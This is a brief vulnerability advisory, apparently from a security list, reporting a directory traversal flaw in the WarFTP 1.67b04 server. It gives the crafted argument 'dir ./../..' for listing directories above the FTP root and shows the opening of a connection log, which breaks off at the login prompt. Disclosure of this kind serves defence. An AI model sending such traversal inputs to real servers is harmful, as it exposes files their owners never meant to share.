Warftp 1.67b04 Directory Traversal

Overview: by adding a special formed argument to the dir command, it is possible to list the /../ directory. Detail: the command is the following: dir ./../.. Log: Verbindung mit 10.17.3.44 wurde hergestellt. 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.67- 04 Ready 220 Please enter your user name...